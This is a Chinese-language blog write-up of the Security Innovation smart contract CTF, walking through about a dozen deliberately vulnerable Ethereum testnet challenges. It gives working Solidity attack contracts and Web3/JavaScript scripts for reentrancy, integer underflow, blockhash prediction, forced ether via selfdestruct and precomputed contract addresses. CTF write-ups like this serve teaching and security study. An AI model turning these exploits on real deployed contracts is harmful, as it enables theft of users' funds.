【Writeup】Security Innovation Smart Contract CTF

赛题地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

Donation

源码解析
我们只需要用外部账户调用 withdrawDonationsFromTheSuckersWhoFellForIt() 把钱取出来,就算是挑战成功啦。本题难就难在怎么用外部账户调用合约函数。。。

解题
点一下 Hints 他就会提醒你用 MyCrypto 来完成这个挑战。我用了,太香了。完美解决了用外部账户调用合约函数的问题。
只需要进入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把内容填好 —> 选择所调用的函数 —> 成功!

Lock Box

源码分析

  1. now 参数在 0.7.0 以后被替换为 timestamp 它的返回值等于:https://www.unixtimestamp.com/
  2. pinprivatepin ,就是不公开的意思。
  3. 目的就是要你猜出 pin 的值。啊当然,猜是不可能猜的,这辈子也不可能猜的。

解题

接下来的内容,了解solidity中变量存储位置的读者可以“显然”地知道 pin 值在合约中存储的位置。不了解的读者也不要紧,我们可以进行一步推导得出他的存储位置。

将合约内容反编译:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

首先找到函数 function unlock(var arg0) ,然后在函数中找到这个判断:

if (storage[0x01] == arg0) {
    var temp1 = address(address(this)).balance;
    var temp2 = memory[0x40:0x60];
    var temp3;
    temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
    var var0 = !temp3;

    if (!var0) { return; }

    var temp4 = returndata.length;
    memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
    revert(memory[0x00:0x00 + returndata.length]);
}

为什么是这个 if 判断呢,因为在这个判断里面有转账语句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

然后我们看出我们输入的值是和 storage[0x01] 进行比较的,也就是说 pin 值就存放在 storage[0x01] 中。所以,我们可以利用 Web3.js 获取这个位置的值。

Web3.js 代码:

var Web3 = require('web3');
// 创建web3对象
var web3 = new Web3();
// 连接到 ropsten 测试节点
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)

// return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 转为十进制等于1970

HttpProvider 中填入你自己的 infura 链接即可。

最后,我们把得到的 1970 填入到题目中,完成解题。

Piggy Bank

解题
直接调用 CharliesPiggyBank 中的 collectFunds 函数进行取款就完成挑战了。。。
可能关键点就在于 CharliesPiggyBank 中的 collectFunds 少继承了 modifier onlyOwner() ,看看是否发现了这个漏洞。。。吧?

SI Token Sale

源码分析

  1. 虽然他调用了 SafeMath 模块,但是他没有用。诶有模块我不用,就是玩儿。
  2. 10 szabo 的交易费用(1 ether == 10^6 szabo)
  3. 结合以上两点,在 balances[msg.sender] += _value - feeAmount; 这里很可能会发生下溢出漏洞

解题

  1. 往合约打 10 wei (只要小于 10 szabo 即可),使其发生下溢出,这样我们的 balances 就会变得非常大,方便后面为所欲为。
  2. 然后调用 refundTokens(uint256 _value) 函数,_value 的值为合约余额的两倍(这里留意一下,在题目网页上显示的余额有那么一丢丢不准确,建议去 etherscan 上面查一下准确的余额)
  3. 过关~

Secure Bank

源码分析

  1. 三个合约,一层套一层,SimpleBank —> MembersBank —> SecureBank
  2. SimpleBank withdraw:要求取款不能超过账户余额
  3. MembersBank withdraw:要求取款不能超过账户余额,取款账户是 member
  4. SecureBank withdraw:要求取款不能超过账户余额,取款账户是 member,取款账户是自己

解题
我们要做的就是把创建合约的账户余额给取走。

虽然 SecureBank withdraw 是继承 MembersBank withdraw 的,但是因为的参数格式不一致(前者是uint8 _value,后者是uint256 _value),导致了 SecureBank 中会出现两个可以调用的 withdraw 函数。(这可以从 ABI 中看出,有两个 withdraw 函数。)

也就是说,可以在 SecureBank 合约中,调用 MembersBank withdraw 函数进行取款。

  1. 调用 register 函数,对创建合约的账户地址进行注册,使其成为 member
  2. 调用 MembersBank withdraw ,将创建合约的账户中的余额转走
  3. 成功

Lottery

一个猜数字的游戏,涉及到了区块号和发送者地址等

解题

  1. blockhash 函数,很有讲究,当输入的区块号为当前区块号或 256 个以前的区块号,它都返回 0。也就是说 blockhash(block.number) == 0

  2. ^ 是异或操作

  3. 也就是说,当我们要求 guess==target 的时候,只是在要求 _seed == abi.encodePacked(msg.sender)

  4. 通过下面的函数即可得到刚刚好的 _seed

    function encode(address _addr) public returns(bytes32) {
            return keccak256(abi.encodePacked(_addr));
        }
    

Trust Fund

看!好大个msg.sender.call.value(allowancePerYear)() !!它用 call 来转账!! 它用 call 来转账!! 重入漏洞干他!

解题

重入漏洞就不多解释了,原理搜一下即可,直接上攻击代码:

pragma solidity 0.4.24;

contract attack{
    address public aimAddr;
    
    function reen(address _addr) public {
        aimAddr = _addr;
        _addr.call(bytes4(keccak256("withdraw()")));
    }
    
    function () public payable{
        aimAddr.call(bytes4(keccak256("withdraw()")));
    }
}

反复调用目标合约,将里面的钱全部提取出来。

注意:gas limit 要稍微设置的大一点点,不然会调用失败:out of gas。

Record Label

源码分析

  1. 代码很繁琐,整体来说就是取款的时候要按百分比分一部分给 Manager 合约
  2. 调用 withdrawFundsAndPayRoyalties 函数进行取款,取款流程跟踪函数看一下,还挺绕。。

关键点:

  1. addRoyaltyReceiver 函数中没有对添加的地址进行检测,可以添加已有的用户
  2. payoutRoyalties 函数中只对每一个 reciver 中的比例进行扣款,没有检查总的 percentRemaining

解题

查看 RecordLabel 合约的创建交易,它同时创建了另外两个合约(Manager 和 Royalties)

image

Royalties 合约的地址我们可以查到

image

所以可知 Manager 合约的地址为:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

Royalties 的 ABI 如下:

[
	{
		"constant": true,
		"inputs": [],
		"name": "amountPaid",
		"outputs": [
			{
				"name": "",
				"type": "uint256"
			}
		],
		"payable": false,
		"stateMutability": "view",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [],
		"name": "payoutRoyalties",
		"outputs": [],
		"payable": true,
		"stateMutability": "payable",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [
			{
				"name": "_receiver",
				"type": "address"
			},
			{
				"name": "_percent",
				"type": "uint256"
			}
		],
		"name": "addRoyaltyReceiver",
		"outputs": [],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [],
		"name": "getLastPayoutAmountAndReset",
		"outputs": [
			{
				"name": "",
				"type": "uint256"
			}
		],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [
			{
				"name": "_manager",
				"type": "address"
			},
			{
				"name": "_artist",
				"type": "address"
			}
		],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"payable": true,
		"stateMutability": "payable",
		"type": "fallback"
	}
]

将 Royalties 合约中 (reciver == Manager) 的分钱比例设为 0

image

然后调用 withdrawFundsAndPayRoyalties 函数取走 1000000000000000000 wei (1 eth)即可

Slot Machine

代码分析
有一种转账方法可以在不触发 fallback 函数的情况下完成转账:合约自毁。

pragma solidity 0.4.24;

contract selfdes{
    function destruct(address _aim) public{
        selfdestruct(_aim);
    }
    
    function () payable public{
        
    }
}

解题

  1. 先转入 3.5 eth 到自毁合约中,执行自毁函数向目标合约进行转账(绕开了其fallback函数)。此时目标合约中的余额已经大于 5 eth,也就是满足 address(this).balance >= winner 这一条件。
  2. 再使用自己的账户往目标账户中转入 1 szabo ,完成攻击。

Heads or Tails

代码分析
关键点就在 entropy 和 coinFlip 两个变量上,而这两个变量都是我们可以获取到具体值的。根据题目 msg.sender.transfer(msg.value.mul(3).div(2)); 这行代码,我们转账 20 次即可把余额取完。

解题

不多bibi,直接上代码:

pragma solidity 0.4.24;

contract getHeads{
    bytes32 public entropy;
    bytes1 public coinFlip;
    bool public coinBool;
    
    function caller(address _aim) public {
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if(coinFlip == 1){
            coinBool = true;
        }
        else{
            coinBool = false;
        }
        
        for(uint i = 0; i < 20; i++){
            _aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
        }
    }
    
    function getback() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{
        
    }
}
  1. 首先把该合约加入到名单中。
  2. 然后在运行 caller 函数之前,往合约转 0.1 ether ,并且 gas limit 设置得稍微大一点点即可。
  3. 完成挑战后记得把钱取走!

Rainy Day Fund

源码分析
看到这道题的时候闪过了一下提前转账的想法,但是一想应该不能重置了再来这么蛇皮吧就打消了这个念头。没想到就是这样做的。

解题

我们需要提前计算出 DebugAuthorizer 合约的地址(可以做到),然后提前转账 1.337 ether,当这个地址被部署上合约的时候就满足条件 (address(this).balance == 1.337 ether) 。然后就可以调用 withdraw 函数把钱取走了。

首先,新的外部账户nonce从0开始,新的合约账户nonce则是从1开始。

查看合约调用链,我们可以得知 DebugAuthorizer 合约由 RainyDayFund 合约进行创建。而 RainyDayFund 合约则由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 创建。

我们知道 developer 的地址,还需要知道它创建 RainyDayFund 合约的 nonce ,这样才能计算出它下一次创建的合约地址。

var util = require('ethereumjs-util');
// 根据发送者地址和nonce求取生成的新合约的地址
// 先RLP编码,再Hash,截取Hash值的后20个字节
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";

for(var i = 1; i <= 10000000; i++){
	buf = [Buffer.from(developer , "hex"), i];
	// RainyDayFund.address == 30e93a...
	if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
		console.log(i);
		break;
	}
}
// result: i = 359

计算得出 developer 创建 RainyDayFund 合约的 nonce = 359 ,那么我们下一次创建的时候 nonce 就等于 360。而 RainyDayFund 合约在 nonce = 1 时创建了 DebugAuthorizer 合约。

然后就可以通过下面的代码计算出下一次部署的 DebugAuthorizer 的地址:

var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360;

var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);

var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);

/*
计算下一次重构所生成的合约地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/

然后往计算得出的 DebugAuthorizer 地址中转入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接调用 withdraw 函数将钱取走!

【吐槽:这道题真的很费币。。做到一半币不够了,水龙头也坏了,还得向大佬要了点币才解得了。。】

Raffle

解题
利用 blockhash 函数只能计算最近 256 个区块的哈希值,超过 256 个的区块哈希值为 0 这个特点。

合约1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

负责买票,关闭抽奖

pragma solidity ^0.4.0;

contract Raffle{
    
    function buyTicket(address _aim) public{
        _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
    }
    
    function closeRaffle(address _aim) public{
        _aim.call(bytes4(keccak256("closeRaffle()")));
    }
    
    
    function withdraw() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{}
}

合约2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

负责买票,领奖

pragma solidity ^0.4.0;

contract Raffle2{
    
    function buyTicket(address _aim) public{
        _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
    }
    
    function collectReward(address _aim) public{
        _aim.call(bytes4(keccak256("collectReward()")));
    }
    
    
    function withdraw() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{}
}

买完票以后的当前区块数:10853164,只需要耐心等待,直到区块数超过 10853164 + 256 ,再利用合约1关闭抽奖,最后利用合约2领奖。

后记

从其他博客中看到了一个关键点:

触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身

posted @ 2021-08-26 15:09  ACai_sec  阅读(329)  评论(3编辑  收藏  举报